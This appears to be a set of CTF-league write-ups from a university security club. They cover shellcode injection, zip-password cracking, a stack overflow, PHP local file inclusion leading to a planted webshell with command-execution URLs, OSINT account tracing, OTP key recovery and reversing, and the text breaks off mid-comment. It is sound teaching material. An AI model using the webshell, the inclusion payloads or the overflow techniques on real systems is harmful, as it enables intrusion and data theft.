Writeup: deadsheets

Spreadsheets. They are cloud-native ways to turn data into insights. They save time with extensible interfaces that jumpstart trend analysis. But until now, they’ve never run shellcode.

Introducing powered by dead®: Dangerously Extensible Ancient Database. The only database firmware fearless enough to strip away the stringy/chewy meat of traditional spreadsheet software and leave only the pure and perfect shell.

Wow!
❯ ./dead
dead: CLI utility for the Dangerously Extensible Ancient Database

Usage: ./dead <filename> <operation> [cell] [argument]
  filename      Name of the file update
  operation     UPDATE or UPDATE_EX
  cell          If operation is UPDATE or UPDATE_EX, specifies the row,column of the
                cell on which to perform the update operation
  argument      If operation is UPDATE, specifies the value to update the cell with
                If operation is UPDATE_EX, specifies the base64 encoded shellcode used
                to update the cell. The shellcode starts at address 0x804c080

Source code and this message show that UPDATE_EX really does execute some shellcode.

    if (ex) {
        int shellcode_length;
		char *decoded = base64_decode(argument, &shellcode_length);
        shellcode_length = shellcode_length < MAX_LEN ? shellcode_length : MAX_LEN;
        memcpy(shellcode, decoded, shellcode_length);
        free(decoded);

        // Run shellcode to determine the value with which to update the cell
        mprotect(shellcode - ((long int)shellcode % 4096), 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
        char *(*shellcode_func)() = (char *(*)())shellcode;
        char *result = shellcode_func();
        
        // Copy the result of running the shellcode into the cell
        contents[row][col] = malloc(strlen(argument) + 1);
        memcpy(contents[row][col], result, strlen(result) + 1);
    }

This database updates upon refresh. Entering most strings (that don’t correspond to b64 shellcode that returns a pointer to a string) results in an empty cell. If the shellcode does return such a pointer, it will contain the contents of that string. For example, the address 0x804973c corresponds to the string “=” in memory. Shellcode

mov eax,0x804973c
ret

(base64 uDyXBAjD)

results in a cell with these contents:

So if we write shellcode that reads a file named “flag” into a buffer, whose address is moved to eax…

#!/usr/bin/python
from pwn import *

from base64 import b64encode

bss_addr = 0x0804c060
flag_addr = bss_addr + 5

payload = asm(f"""
pushad

mov eax, 0x5
push 0x67616c66
mov ebx, esp
mov ecx, 0x0
mov edx, 0x0
int 0x80

mov ebx, eax
mov eax, 0x3
mov ecx, {bss_addr}
mov edx, 0x40
int 0x80


popad
mov eax, {bss_addr}
ret
""")
print(b64encode(payload))

We replace our cell with the contents of the flag file!

Writeup: intrainspection

  • This week we have a challenge!
    • The challenge is to unzip a zip file!
      • unzip Safe.zip
      • Archive: Safe.zip
      • [Safe.zip] jXeC.zip password:
        • The challenge is to guess the password!
  • The challenge is to guess 30 passwords!
    • That sounds hard!
      • So we’ll do it automatically!
    • You may notice that this doesn’t parse the output of john!
      • That seems like it might be hard!
        • We’ll do it… semiautomatically!

    What follows is real, uncensored shell history – viewer discretion is advised

    $ ./solve.sh jXeC.zip
    $ john --show jXeC.zip
    $ john --show example.hash
    $ unzip jXeC.zip
    $ ./solve.sh dHag.zip
    $ unzip dHag.zip
    $ ./solve.sh bSmC.zip
    $ unzip bSmC.zip
    $ ./solve.sh pbtJ.zip
    $ unzip pbtJ.zip
    $ ./solve.sh VGQc.zip
    $ unzip VGQc.zip
    $ ./solve.sh jxLD.zip
    $ unzip jxLD.zip
    $ ./solve.sh iXZA.zip
    $ unzip iXZA.zip
    $ ./solve.sh KxrU.zip
    $ unzip KxrU.zip
    $ ./solve.sh DlTL.zip
    $ unzip DlTL.zip
    $ ./solve.sh PEOa.zip
    $ unzip PEOa.zip
    $ ./solve.sh Dggp.zip
    $ unzip Dggp.zip
    $ ./solve.sh tXFO.zip
    $ unzip tXFO.zip
    $ ./solve.sh IrHd.zip
    $ unzip IrHd.zip
    $ ./solve.sh wedJ.zip
    $ unzip wedJ.zip
    $ ./solve.sh wbTt.zip
    $ unzip wbTt.zip
    $ ./solve.sh TUuF.zip
    $ unzip TUuF.zip
    $ ./solve.sh tiTW.zip
    $ unzip tiTW.zip
    $ ./solve.sh dFhG.zip
    $ unzip dFhG.zip
    $ unzip dFhG.zip -P DSLA
    $ unzip dFhG.zip
    $ ./solve.sh fjIZ.zip
    $ unzip fjIZ.zip
    $ ./solve.sh CMMw.zip
    $ unzip CMMw.zip
    $ ./solve.sh MzNR.zip
    $ unzip MzNR.zip -p YQND
    $ man unzip
    $ unzip -P YQND MzNR.zip
    $ ./solve.sh jLUX.zip
    $ unzip -P YQND jLUX.zip
    $ unzip -P WBOZ jLUX.zip
    $ ./solve.sh XDDN.zip
    $ unzip -P PEEC XDDN.zip
    $ ./solve.sh vfyN.zip
    $ unzip -P qoxe vfyN.zip
    $ ./solve.sh uwPY.zip
    $ unzip -P NgHV uwPY.zip
    $ ./solve.sh xfQR.zip
    $ unzip -P fhkC xfQR.zip
    $ ./solve.sh DtQE.zip
    $ unzip -P teEk DtQE.zip
    $ ./solve.sh KWHz.zip
    $ unzip -P peRR KWHz.zip
    $ ./solve.sh EVqP.zip
    $ unzip -P wgcw EVqP.zip
    $ ./solve.sh DZen.zip
    $ unzip -P Alon DZen.zip
    $ ./solve.sh Qymr.zip
    $ unzip -P rTPR Qymr.zip

    • That was convenient and definitely faster than figuring out how to parse out the stdout of john! (UNIX timestamps benchmark me at around 650 seconds and honestly that might be faster than how long it would take for me to script that)
      • We have a word doc!
        • grep -rn osu{ returns nothing 🙁
          • Let’s look at the .docx file after unzipping it!
            • feh media/image1.png
    • Epic! Let’s scan it with our phone!
      • Helb helbbb heellp it not working!
        • Oh it’s not supposed to be a link. ok. I guess i never really put it together that these things can hold more than just a link
          • Let’s scan it with our computer!
        7f 45 4c 46 01 01 01 00 79 5f 66 69 67 30 30 33 02 00 03 00 01 00 00 00 50 ef bf bd 04 08 2c 00 00 00 00 00 00 00 00 00 00 00 34 00 20 00 01 00 00 00 00 00 00 00 00 ef bf bd 04 08 00 ef bf bd 04 08 ef bf bd 00 00 00 ef bf bd 00 00 00 05 00 00 00 00 10 00 00 31 31 69 6e ef bf bd 04 00 00 00 31 ef bf bd 43 ef bf bd 04 00 00 00 ef bf bd 7d ef bf bd 04 08 cd 80 ef bf bd ef bf bd 71 cd 80 29 ef bf bd cd 80 ef bf bd ef bf bd 44 cd 80 ef bf bd ef bf bd 35 4a 4a cd 80 48 4b cd 80 6f 73 75 7b 7d 0a 0a 
        
        • This is an ELF!
          • Converting it to a binary in cyberchef gives us
        $ ./download.dat
        zsh: exec format error: ./download.dat
        
        • But that’s ok! Because we can run strings!
        $ strings download.dat
        y_fig003
        11in
        osu{}
        
        • $submit osu{fingy_30011}
          • $submit osu{y_fig00311in}
            • Helb helbbb heellp it not working!
          Is this legible

          Let the record show that I was getting pretty close with my guesses and if hypothetically the flag ended in a g I definitely 100% would have guessed it in one second. Please hypothetically award me a gold star.

          Writeup: no_util

          Our first misc challenge! This one felt reminiscent of overthewire’s Bandit series, which are a good introduction to the command line.

          GNU Coreutils are too bloated.
          That's why minimalists use Busybox.
          But the TRUE masters don't even need that.
          
          flag.txt is around here somewhere ~_~
          but I lost it in this cluttered filesystem o_o
          can you help me find it? UwU
          
          ^-^ ls
          bash: ls: command not found

          So, we’ve got nothing to work with besides bash builtins. This is gonna be hard! We unfortunately can’t mount the filesystem remotely, as the machine we ssh to isn’t the machine that the challenge is located on.

          sshfs noutil@chal.ctf-league.osusec.org:/ ~/temp
          noutil@chal.ctf-league.osusec.org's password: 
          remote host has disconnected

          So! What do we have access to? Tab completion, for loops, echo, cd, variables, globbing, and functions. We can use these bash builtins to build some functionality that might be helpful.

          ^-^ cd /
          ^-^ echo *
          bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

          OK, so echo * is basically ls. From here, we can start recursively jumping around directories and looking for a file named flag.txt.

          Most recursion requires a function that calls itself, so let’s start with that.

          function find {
              find;
          }

          👍

          Now simply write the necessary functionality!

          function find {
              for f in *;
              do if [[ -d $f && ! -L $f ]];
              then
                  cd "$f";
                  find;
                  cd ..;
              elif [ $f == 'flag.txt' ] 
              then 
                  echo `pwd`/$f;
              fi;
          done

          Line by line:

          function find {
              for f in *; # Loop through all files in current directory
              do if [[ -d $f && ! -L $f ]]; # If is a directory and not a symbolic link
              

          We don’t want to follow symbolic links, as that could lead to infinite loops, as well as breaking our depth-first search.

          elif [ $f == 'flag.txt' ] 
          then 
              echo `pwd`/$f;
          fi;

          Our base case! This is pretty self explanatory.

          So, what does this function do when run?

          ^-^ find
          bash: [: too many arguments
          /usr/lib/share/misc/flag.txt

          Nice! Let’s print it out by reading the contents and “executing” them.

          $(</usr/lib/share/misc/flag.txt)
          bash: osu{b4$h_i5_p1en7y}: command not found

          Writeup: return_for_adventure

          In order to provide peak performance, all games should be written in the C language, which is the fastest language, which is the best for gaming. OSUSEC’s crowning technical achievement, return_for_adventure, is further optimized through the removal of bloated features such as the stack canary and PIE.

          Let’s play it!

          Welcome to the start of your adventure! Before we begin, please choose one of the following options:
          1: Start a new game
          2: Jump to specific chapter
          3: Load game
          2
          Chapters exist?
          1: Start a new game
          2: Jump to specific chapter
          3: Load game
          3
          No
          1: Start a new game
          2: Jump to specific chapter
          3: Load game
          1
          Let's start!
          You awaken after a record sleep of 3 hours, climb out of bed and:
          1: you look at your alarm clock
          2: you go downstairs and eat breakfast
          3: fall back asleep
          2
          What breakfast do you want to eat?
          hamburger
          I guess if thats what u want…
          LMAO no flag for u. Take this L

          The string seems promising:

          Welcome to the start of your adventure! Before we begin, please choose one of the following options:
          1: Start a new game
          2: Jump to specific chapter
          3: Load game
          1
          Let's start!
          You awaken after a record sleep of 3 hours, climb out of bed and:
          1: you look at your alarm clock
          2: you go downstairs and eat breakfast
          3: fall back asleep
          2
          What breakfast do you want to eat?
          AUAUAUAUAUUUFGHHGGHHGHGAAUGUGUHG
          I guess if thats what u want…
          [1] 215155 segmentation fault (core dumped) ./return_for_adventure

          Cool! Let’s see what we can do in Ghidra.

          void huh_whats_this_function_for(int param_1,int param_2)
          
          {
            char local_33 [35];
            FILE *local_10;
            
            if ((param_1 == -0x74520ff3) && (param_2 == -0x54524542)) {
              printf("Here is the correct flag: ");
              local_10 = fopen("flag.txt","r");
              fgets(local_33,0x22,local_10);
              fclose(local_10);
              puts(local_33);
            }
            return;
          }
          void breakfast(void)
          
          {
            char local_24 [20];
            int local_10;
            
            puts("What breakfast do you want to eat?");
            do {
              local_10 = getchar();
              if (local_10 == 10) break;
            } while (local_10 != -1);
            fgets(local_24,200,stdin);
            puts("I guess if thats what u want...");
            return;
          }

          We crashed in breakfast earlier, and it looks like there’s 200 bytes we can read into a 20 byte buffer. More than enough to overflow some memory.

          Every time a program calls a function, it stacks this structure on top of the stack. See how intuitive that is?! Why do we always draw it backwards? I hate it! Ok ok I know that memory addresses are high on the bottom now but like, that makes the most sense.

          Anyways, imagine a tower(or a stack) of these structures on top of one another. If you have access to write past your locals, you can modify the base pointer, return address, and parameters of the function you’re in!

          Let’s start off by modifying the return address while we’re in breakfast. This way, we can trick the program into returning to an arbitrary function.

          Ghidra shows that we begin at address 0x08048646, so that’s what we’ll load into the return address.

          Ghidra shows that the breakfast function contains 36 bytes of stuff above the return address. I’m honestly not totally sure what these bytes are. Is this related to byte alignment? Some undefined4 types are 8 bytes apart. Anyways, we’ll need to overwrite those 36 bytes. After that, we’ll have reached our return address, which we’ll append to our payload.

          With a payload of 0x24 arbitrary bytes + 0x08048646, we get:

          [+] Starting local process './return_for_adventure': pid 150205
          [*] Switching to interactive mode
          3: fall back asleep
          What breakfast do you want to eat?
          I guess if thats what u want...

          We don’t get the “LMAO no flag for u. Take this L” message or a crash, so we successfully changed program flow!

          Looking again at our vulnerable function:

            
            if ((param_1 == L'\x8badf00d') && (param_2 == L'\xabadbabe')) {
              printf("Here is the correct flag: ");
              local_10 = fopen("flag.txt","r");
              fgets(local_33,0x22,local_10);
              fclose(local_10);
              puts(local_33);
            }

          We see that it wants the parameters to be equal to (in hex) 0x8badf00d and 0xabadbabe. If we append these to our payload, we won’t quite be in the right place, however – remember the base pointer? If we add an address worth of bytes to our payload, the next bytes will be overwriting the parameters section of the stack frame.

          Our final payload should be 0x24 arbitrary bytes + 0x08048646 + random address (4 bytes in this architecture) + 0x8badf00d + 0xabadbabe.

          With this, we get

          3: fall back asleep
          What breakfast do you want to eat?
          I guess if thats what u want...
          Here is the correct flag: osu{d0n'7_b3_57up1d_4nd_0v3rfl0w}
          [*] Got EOF while reading in interactive

          Cool!

          Writeup: Flagtastic Falafel

          NAME: flagtastic_falafel
          CATEGORY: web
          POINTS: 250
          DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like “Flagtastic Falafel” there’s bound to be a flag sitting around somewhere, and I know how much y’all like flags…

          Navigating to the website, we find a first-rate falafel form. Frippery foregone, fully fillable fields for finance figures following forename furnish functionality for fanatics. Fantastic!

          http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=fungal.php&name=Paul&credit_card_number=hunter2
          Note: This appears to be topped with the deadly-yet-psychoactive Amanita Muscaria! Exciting!

          Fungal falafel freshly fried for fungal-fervent folk! Furthermore, firewall-finessers found flaws festering forth from fricked-up files.

          ❯ ls
          fabled.php         fetid.php        frozen.php
          fake.php           fibrous.php      fruit.php
          famous.php         fizzy.php        fungal.php
          fancy.php          flaming.php      futuristic.php
          fantastic.php      foods.php        fuzzy.php
          fashionable.php    freaky.php       images
          fast.php           fresh.php        index.php
          fattening.php      frightening.php  test.sqlite
          ferromagnetic.php  frijoles.php
          festive.php        frosty.php
          ❯ grep -rn Thanks
          foods.php:35:echo("<p>Thanks for your order, "...

          foods.php

          <?php
            # Someone told me that I should NEVER EVER STORE UNENCRYPTED CREDIT CARD NUMBERS IN A DATABASE!!!
              # Flagtastic Falafel takes security very seriously, so credit card numbers are stored in files instead.
          
              # Generate a unique file name for this customer/credit card number
              $filename = bin2hex(random_bytes(20));
              $order_file = fopen("/orders/" . $filename, "w") or die("Unable to open order file for writing :-(");
          
              # Write order information to the file
              fwrite($order_file, "Customer Name: " . $_GET["name"] . "\n");
              fwrite($order_file, "Credit Card Number: " . $_GET["credit_card_number"] . "\n");
              fwrite($order_file, "Order: " . $_GET["food"] . "\n\n");
          
              # Close the file
              fclose($order_file);
          
              # Record other order information in database (don't worry, credit card data is not stored in database)
              $db = new SQLite3("/orders/orders.db");
              # No sql injection allowed!!
              $stmt = $db->prepare("INSERT INTO orders (customer_name_hash, order_filename) VALUES (?, ?)");
              # Only store hash of name for security!! Storing sensitive information in the database is a no no.
              $name_hash = hash("md5", $_GET["name"]);
              $stmt->bindValue(1, $name_hash);
              $stmt->bindValue(2, $filename);
              $stmt->execute();
          ?>
          
          <html>
              <head>
                  <title>Flagtastic Falafel</title>
              </head>
              <body>
                  <?php
                      # No XSS allowed!! (we'll have an XSS challenge at some point, but this isn't it)
                      echo("<p>Thanks for your order, " . htmlspecialchars($_GET["name"]) . "!</p>");
                      echo("<p>We received your credit card number as " . htmlspecialchars($_GET["credit_card_number"]) . ". Please ensure that it is incorrect, and submit your order again if it isn't. Thank you!</p>");
                      echo("<p>Here's what you ordered:</p>");
                      include($_GET["food"]);
                  ?>
              </body>
          </html>
          

          Phew!

          I’m trying to turn my brain off f-word mode but I’m finding it difficult. Anyways, let’s find some festering flaws in these files.

          This code:

          1. Generates a random filename
          2. Writes the customer’s name, number, and food to that file
          3. Inserts that filename and a md5 hash of the customer’s name into a database
          4. The database is at /orders/orders.db, by the way
          5. Includes a file on the page. (food, a URL-passed parameter)

          It’s looking promising. If we can figure out the name of a file on the server, we can pass it in the URL as the food parameter. If it’s PHP, the server will run whatever code is in that file. In our case, the contents of the file is our name, credit card number, and order. We have control over the name and therefore its hash, so hopefully this isn’t too difficult.

          First, let’s dump the database through the food parameter. %2F is a URL-encoded slash.

          http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db

          This is messy and I couldn’t load it into a database viewer, so it was necessary to print it as base64:

          http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db&name=paul&credit_card_number=number

          This works (trust me), and we can search for our order with SELECT * FROM 'orders' where customer_name_hash = "6c63212ab48e8401eaf6b59b95d816a9". The hash is md5(“paul”).

          This gives us a filename, and requesting http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/e633fd358812c5346a1c25ad4f3a55c34abb6aff, where the random bits at the end are the order_filename matching our customer_name_hash.

          Cool!

          OK, so we can render the contents of a file. What happens if this content is PHP? And what happens if it’s a PHP webshell? Let’s make another order with our financial information set to a webshell that reads an arbitrary system command: <?php passthru($_GET["cmd"]) ?>.

          So, setting that as our credit card and going through the same process will let us execute any command – let’s start with ls, as our flag will surely be in the same directory as the server, right?

          http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=ls

          Nailed it! Now all we’ve got to do is swap ls with cat flag.txt and we’re golden!

          Unbeleaguered, we carry on. find / -name flag.txt might show another flag.

          /var/www/html/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt/flag.txt /orders/flag.txt Order:

          This is a lot to go through, so let’s read all the flags with find / -name flag.txt -exec cat {} \;

          Our final URL payload is http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=find%20/%20-name%20flag.txt%20-exec%20cat%20{}%20\;

          Which prints out

          Which gives us a link to a Youtube video that contains the flag!

          Writeup: Slippin’ Witty

          NAME: Slippin’ Witty
          CATEGORY: osint
          DESCRIPTION: You’re a detective working in the DoJ tasked with investigating a lawyer by the name of Witold Suzan for possible corruption. You’ve been informed by one of his coworkers that he uses four different social media platforms online. Find all four accounts owned by him.


          Hi. I’m Paul Soodman. Did you know that you have rights? Constitution says you do.

          The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.

          Hmm, I don’t see anything about any tools listed on epieos. I’m sure the constitution says something about your right to bear 0days and cyberstalk your friends/enemies. America, baby! Let’s go searching!

          Witold Suzan is a name worth a search, and we’re rewarded with a professional profile.

          The resume includes an email, and some other information about our target’s educational and employment history. Also, part 2 of the flag. nam3dFlag

          Digging into the email with epieos, we discover that Witold has accounts on Twitter (Flag Part 1: osu{k1d_) and Flickr (Flag Part 3: _b4d). These accounts are easy to find, and we get results by searching the name. Flickr gives very little information, but a screenshot posted to Twitter reveals that there is a Reddit account that Witold has open. It begins with “Anci,”, which is the same as his Twitter handle, so it’s safe to assume that it belongs to our target. Searching Reddit for “AncientFan” and Google for “AncientFan Reddit” gives nothing, so it’s on to another lead for now.

          The oldest tweet on the account references even older, likely deleted tweets.

          archive.org shows that he has some recorded history – interestingly referencing his “other account,” where he posted about interviewing to become a deputy district attorney.

          Woohoo! We’ve found a post in a relevant subreddit by Ancient-Fan-2238.

          We’ve got our guy! Combining all 4 parts of the flag is a success! Unfortunately, none of his posts are admissions of guilt. This guy’s good.

          https://www.explainxkcd.com/wiki/images/5/52/detail.png
          Google defends the swiveling roof-mounted scanning electron microscopes on its Street View cars, saying they ‘don’t reveal anything that couldn’t be seen by any pedestrian scanning your house with an electron microscope.’

          Writeup: Stackulator

          NAME: stackulator
          CATEGORY: pwn
          POINTS: 200

          First pwn of the season! And the second pwn of my life!

          Welcome to my first calculator!
           
          What is your name?:

          Aw man. What a polite calculator. What a shame we have to pummel it with malicious input.

          undefined8 main(void)
          
          {
            int iVar1;
            undefined8 uVar2;
            long lVar3;
            undefined8 *puVar4;
            long in_FS_OFFSET;
            undefined8 local_88 [8];
            int local_48;
            undefined8 local_44;
            undefined8 local_3c;
            undefined8 local_30;
            undefined8 local_28;
            char local_20 [16];
            long local_10;
            
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            puVar4 = local_88;
            for (lVar3 = 0xe; lVar3 != 0; lVar3 = lVar3 + -1) {
              *puVar4 = 0;
              puVar4 = puVar4 + 1;
            }
            local_44 = 0x6c2e636c61632f2e;
            local_3c = 0x676f;
            puts("Welcome to my first calculator!\n\nWhat is your name?:");
            fgets((char *)local_88,99,stdin); // Reads 99 bytes to local_88
            printf("\nHello %s",local_88);
            if (local_48 == 1) { // This seems important
              debug_menu(&local_44);
            }
            else {
              ...
          

          OK, so we have an opportunity to write past the 64 bytes that are allocated to local_88. The following variable is local_48, which needs to be set to 1 to enter the debug menu. So if we send 64 bytes of gibberish, we can overwrite local_48. Appending 1 as a 4-byte little-endian integer gets us to the debug menu:

          Select an option:
          1) Receive a compliment
          2) View log file
          3) Get a random YouTube link
          4) Show me an ASCII bee

          This now gives us an option to read a file. More importantly, however, we can get a compliment:

          You are good at making secure calculators
          
          Goodbye!

          Wrong!

          void debug_menu(char *param_1)
          
          {
          ...
                if (local_40d == '2') {
                  puts("\nLog contents:");
                  local_40c = open(param_1,0);
                  read(local_40c,local_408,1000);
                  puts(local_408);
                  goto code_r0x00101396;
                }
          ...
          }

          This reads a file that’s passed in by param_1. Which conveniently is just after the stuff you’ve overwritten. Now it is time to spend 20 minutes guessing the name of the flag. It’s not flag.txt or calc.log. 2 minutes after the challenge expires we will learn that the correct file is merely titled flag. I don’t know why I went so long without trying that. Appending that will get us the flag, so all is well!

          Craft the exploit with a final payload of 64 bytes, the integer 1, and then “flag”, being sure to add a null terminator. Submitting this prints out the contents of a file named “flag”!

          Writeup: super_otp

          One time pads are perfectly secure.* Here is an example of an extra perfectly secure implementation.

          # get 3 one time pads
          otps = [urandom(MAX_LENGTH) for _ in range(3)]
          
          # combine the one time pads into a "super" one time pad
          super_otp = xor_list(otps)
          
          # encrypt the flag using the super one time pad
          enc_flag = xor_bytes(FLAG.encode(), super_otp)
          
          # print out the encrypted flag
          print(f'The encrypted flag in base 64:')
          print(b64encode(enc_flag).decode())
          
          for otp in otps:
              # get the message that the user wants to encrypt (up to 60 characters)
              print('Enter message you would like to encrypt (input truncated to 60 characters): ')
              user_message = str(input())[:60]
          
              # encrypt the message using xor
              enc_message = xor_bytes(user_message.encode(), otp)
          
              # print encrypted message
              print(f'Your encrypted message is in base 64:')
              print(b64encode(enc_message).decode())

          If I had a nickel for every time this challenge reused a key, I’d have zero nickels. Which isn’t a lot, but – wait a second, zero nickels? We don’t reuse the key at all? So it’s perfectly secure?

          The encrypted flag in base 64:LtVYq6Y989bBhQ4S4hEJ8NgsOzNUs1DxJy6YEyAoEnter message you would like to encrypt (input truncated to 60 characters): NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
          Your encrypted message is in base 64:
          Wyn1xCotf77chnIDI5qvv2ttfdR7sfe4ylx3jbma34PUk70ngFUJQDaIO3WWmg5YdznQdlZjn9DiEnter message you would like to encrypt (input truncated to 60 characters): NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
          Your encrypted message is in base 64:
          wgL55ruDV80AgYSPD2Ec0xDA8JYgp+/WpaC7qkKb4NJ45bAkILw66ZfnwNigbI9d0rAMBfqR7dSv
          Enter message you would like to encrypt (input truncated to 60 characters): NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
          Your encrypted message is in base 64:lsJuvRa54tkgkuXi9PawjKOgymF3g0rjWM1bP7AbjGnNfvawy38iA+TuTDvc9Wejj5KWrto5s

          OK, so it’s sort of reused. But more importantly, we can control the plaintext. He who controls the plaintext, controls the key. Or at least can figure out what the key is.

          Anyways, one aspect of OTP’s is that the key and plaintext are interchangeable. If you know the plaintext, you can XOR it with the ciphertext and it will reveal the key. Similarly, XORing “any bytes” with null bytes results in “any bytes.” That was a confusing way to say that XOR does nothing when one or more sides is a 0. So if we send 60 null bytes instead of “NOOOOOO”, we get to see what the key for each message was.

          With that, we send 60 null bytes to see what the key for each message was

          Then, we XOR them together.

          Then, we XOR that with the bytes of the flag.

          Then, we have the flag in plaintext.

          Submitting osu{nev3r_R3uSE_On3_7iM3_P@D$} completes the challenge!

          * Unless they're part of a CTF challenge

          Writeup: pop quiz

          POP QUIZ TIME! Can you solve these challenging questions?

          What number am I thinking of?

          If I were a human, it would be difficult to know what the answer to this question might be1. Thankfully, I am a computer, and will bare my essential nature to anyone with a keyboard. How about you decompile me and figure out what I’m thinking? In fact, I’ll do it for you.

          bool question_1(void)
          
          {
            long in_FS_OFFSET;
            int local_18;
            int local_14;
            long local_10;
            
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            local_14 = 0x2325;
            printf("What number am I thinking of? ");
            __isoc99_scanf(&DAT_00100e27,&local_18);
            if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                              /* WARNING: Subroutine does not return */
              __stack_chk_fail();
            }
            return local_14 == local_18;
          }

          First, I check if local_14 (my secret number) is equal to local_18 (your input). local_14 is assigned a value of 0x2325 (in my language). Converting to meat numbers gives us 8997, which is hopefully the number you were thinking of already. Regardless,

          gimme some characters

          This isn’t even a question! It’s a command! And it’s so vague! Does it mean fictional characters? historical figures? This quiz sucks!

          These are all things you might be saying if this had been written by a human. Thankfully, you’re asking a computer, who is more than willing to bare its essential nature to anyone with a keyboard. Isn’t this easy?

          bool question_2(void)
          
          {
            long in_FS_OFFSET;
            undefined4 local_14;
            long local_10;
            
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            printf("Gimme some characters: ");
            local_14 = 0;
            __isoc99_scanf("\n%c%c%c%c",&local_14,(long)&local_14 + 1,(long)&local_14 + 2,(long)&local_14 + 3)
            ;
            if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                              /* WARNING: Subroutine does not return */
              __stack_chk_fail();
            }
            return (int)local_14._3_1_ + (int)(char)local_14 + (int)local_14._1_1_ + (int)local_14._2_1_ ==
                   0x1a0;
          }

          If you’re paying attention, you’ll notice that I don’t particularly care what the characters are. I just want them to add up to 0x1a0. Which is 416 in meat numbers. It’s time for you to google “ASCII table” once again and click the top result which is really the worst result because it’s not ctrl-F’able.5

          I also am only scanfing 4 characters, so please be concise. “hhhh” works for me.2

          ???

          Screw you, meatbag! You don’t even get a vague command anymore!

          void question_3(void)
          
          {
            long in_FS_OFFSET;
            undefined4 local_14; // int/uint
            long local_10;
            
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            puts("???");
            local_14 = 0;
            __isoc99_scanf(&DAT_00100e27,&local_14);
            check(local_14); // Check runs on the integer
            if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                              /* WARNING: Subroutine does not return */
              __stack_chk_fail();
            }
            return;
          }

          Haha! This function doesn’t even return anything! That’ll throw you for a loop! What’s that, you didn’t even notice and have begun to reverse check(local_14)??3

          undefined8 check(uint guess)
          
          {
            int iVar1;
            int WHAT;
            size_t sVar2;
            undefined8 WIN;
            long lVar3;
            undefined8 *inputPointer;
            long in_FS_OFFSET;
            int local_128;
            int local_124;
            undefined8 input;
            long local_10;
            
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            inputPointer = &input;
            for (lVar3 = 0x1f; lVar3 != 0; lVar3 = lVar3 + -1) {
              *inputPointer = 0;
              inputPointer = inputPointer + 1;
            }
            *(undefined4 *)inputPointer = 0;
            *(undefined2 *)((long)inputPointer + 4) = 0;
            *(undefined *)((long)inputPointer + 6) = 0;
            sprintf((char *)&input,"%d",(ulong)guess);
            sVar2 = strnlen((char *)&input,0xff);
            WHAT = (int)sVar2;
            if ((sVar2 & 1) == 0) {
              if (WHAT < 4) {
                WIN = 0;
              }
              else {
                for (local_128 = 1; iVar1 = WHAT / 2, local_128 < WHAT / 2; local_128 = local_128 + 1) {
                  if (*(char *)((long)&input + (long)local_128) <=
                      *(char *)((long)&input + (long)(local_128 + -1))) {
                    WIN = 0;
                    goto function1;
                  }
                }
                do {
                  local_124 = iVar1 + 1;
                  if (WHAT <= local_124) {
                    WIN = 1;
                    goto function1;
                  }
                  lVar3 = (long)iVar1;
                  iVar1 = local_124;
                } while (*(char *)((long)&input + (long)local_124) < *(char *)((long)&input + lVar3));
                WIN = 0;
              }
            }
            else {
              WIN = 0;
            }
          function1:
            if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
              return WIN;
            }
                              /* WARNING: Subroutine does not return */
            __stack_chk_fail();
          }

          Try reversing this, bucko! You don’t stand a chance! Wait, what’s that? You still had 8997 in your clipboard and entered that and got the flag? Wait, you even added some gibberish text to the end and it passed my function?4 That’s awesome 🙂

          Hacking is all about playing by the rules however, so let’s build some character and actually look at what this does (pardon the partial variable renames):

          undefined8 check(uint guess)
          
          {
            int iVar1;
            int WHAT;
            size_t sVar2;
            undefined8 WIN;
            long lVar3;
            undefined8 *inputPointer;
            long in_FS_OFFSET;
            int local_128;
            int local_124;
            undefined8 input;
            long local_10;
            
          
            local_10 = *(long *)(in_FS_OFFSET + 0x28);
            // Honestly the next lines are so ugly. They look like they're zeroing out
            // input via inputPointer, so we'll go with that
            inputPointer = &input;
            for (lVar3 = 0x1f; lVar3 != 0; lVar3 = lVar3 + -1) {
              *inputPointer = 0; // null bytes
              inputPointer = inputPointer + 1;
            }
            *(undefined4 *)inputPointer = 0;
            *(undefined2 *)((long)inputPointer + 4) = 0;
            *(undefined *)((long)inputPointer + 6) = 0;
            sprintf((char *)&input,"%d",(ulong)guess); // Scan guess into input
            sVar2 = strnlen((char *)&input,0xff); // These lines put the length
            WHAT = (int)sVar2;                    // of input into WHAT
            if ((sVar2 & 1) == 0) { // strlen must be even
